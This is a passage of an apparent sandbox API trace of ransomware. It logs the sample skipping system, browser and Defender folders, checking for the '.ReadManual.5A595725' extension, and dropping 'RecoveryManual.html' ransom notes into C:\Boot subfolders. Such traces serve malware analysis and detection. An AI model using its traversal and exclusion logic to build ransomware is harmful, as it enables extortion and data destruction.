lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.921] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\tr-TR\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.921] lstrlenW (lpString="\\\\?\\c:\\Boot\\tr-TR\\") returned 18 [0175.921] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\tr-TR\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.922] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\tr-TR\\" | out: lpString1="\\\\?\\c:\\Boot\\tr-TR\\") returned="\\\\?\\c:\\Boot\\tr-TR\\" [0175.922] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.922] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.922] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.922] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.922] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.922] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.922] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.922] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.923] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.923] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.923] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\tr-TR\\" | out: lpString1="\\\\?\\c:\\Boot\\tr-TR\\") returned="\\\\?\\c:\\Boot\\tr-TR\\" [0175.923] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\tr-TR\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\tr-TR\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\tr-TR\\RecoveryManual.html" [0175.923] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\tr-TR\\RecoveryManual.html" (normalized: "c:\\boot\\tr-tr\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.923] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.924] CloseHandle (hObject=0x15c) returned 1 [0175.924] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.924] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.924] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0175.924] lstrcpyW (in: lpString1=0x69b8b4, lpString2="zh-CN" | out: lpString1="zh-CN") returned="zh-CN" [0175.924] lstrcatW (in: lpString1="zh-CN", lpString2="\\" | out: lpString1="zh-CN\\") returned="zh-CN\\" [0175.924] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch=":\\Windows\\") returned 0x0 [0175.924] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.924] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.924] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.924] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch=":\\WINNT") returned 0x0 [0175.924] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.924] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.924] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.924] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.924] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.924] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.924] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.925] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-CN\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.925] lstrlenW (lpString="\\\\?\\c:\\Boot\\zh-CN\\") returned 18 [0175.925] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\zh-CN\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.925] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\zh-CN\\" | out: lpString1="\\\\?\\c:\\Boot\\zh-CN\\") returned="\\\\?\\c:\\Boot\\zh-CN\\" [0175.925] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.925] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.925] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.925] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.925] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.925] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.925] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.925] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.925] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.925] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.926] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\zh-CN\\" | out: lpString1="\\\\?\\c:\\Boot\\zh-CN\\") returned="\\\\?\\c:\\Boot\\zh-CN\\" [0175.926] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\zh-CN\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\zh-CN\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\zh-CN\\RecoveryManual.html" [0175.926] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\zh-CN\\RecoveryManual.html" (normalized: "c:\\boot\\zh-cn\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.926] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.927] CloseHandle (hObject=0x15c) returned 1 [0175.927] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.927] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.927] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0175.927] lstrcpyW (in: lpString1=0x69b8b4, lpString2="zh-HK" | out: lpString1="zh-HK") returned="zh-HK" [0175.927] lstrcatW (in: lpString1="zh-HK", lpString2="\\" | out: lpString1="zh-HK\\") returned="zh-HK\\" [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch=":\\Windows\\") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch=":\\WINNT") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.927] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.928] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.928] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.928] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.928] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.928] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.928] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.928] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0175.928] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0175.928] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\Tor Browser\\") returned 0x0 [0175.928] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-HK\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0175.928] lstrlenW (lpString="\\\\?\\c:\\Boot\\zh-HK\\") returned 18 [0175.928] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Boot\\zh-HK\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66b108 [0175.929] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Boot\\zh-HK\\" | out: lpString1="\\\\?\\c:\\Boot\\zh-HK\\") returned="\\\\?\\c:\\Boot\\zh-HK\\" [0175.929] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.929] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0175.929] lstrcpyW (in: lpString1=0x6ab8c0, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0175.929] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RecoveryManual.html") returned -1 [0175.929] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0175.929] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0175.929] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0175.929] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0175.929] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0175.929] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0175.929] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Boot\\zh-HK\\" | out: lpString1="\\\\?\\c:\\Boot\\zh-HK\\") returned="\\\\?\\c:\\Boot\\zh-HK\\" [0175.929] lstrcatW (in: lpString1="\\\\?\\c:\\Boot\\zh-HK\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Boot\\zh-HK\\RecoveryManual.html") returned="\\\\?\\c:\\Boot\\zh-HK\\RecoveryManual.html" [0175.929] CreateFileW (lpFileName="\\\\?\\c:\\Boot\\zh-HK\\RecoveryManual.html" (normalized: "c:\\boot\\zh-hk\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0175.929] WriteFile (in: hFile=0x15c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0175.930] CloseHandle (hObject=0x15c) returned 1 [0175.930] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0175.930] FindClose (in: hFindFile=0x66b108 | out: hFindFile=0x66b108) returned 1 [0175.930] FindNextFileW (in: hFindFile=0x688c28, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0175.930] lstrcpyW (in: lpString1=0x69b8b4, lpString2="zh-TW" | out: lpString1="zh-TW") returned="zh-TW" [0175.931] lstrcatW (in: lpString1="zh-TW", lpString2="\\" | out: lpString1="zh-TW\\") returned="zh-TW\\" [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch=":\\Windows\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch=":\\WINNT") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch=":\\Windows.old\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch=":\\PerfLog\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\WindowsApps\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\Windows Defender\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\microsoft shared\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0175.931] StrStrIW (lpFirst="\\\\?\\c:\\Boot\\zh-TW\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0175.931] StrStrIW 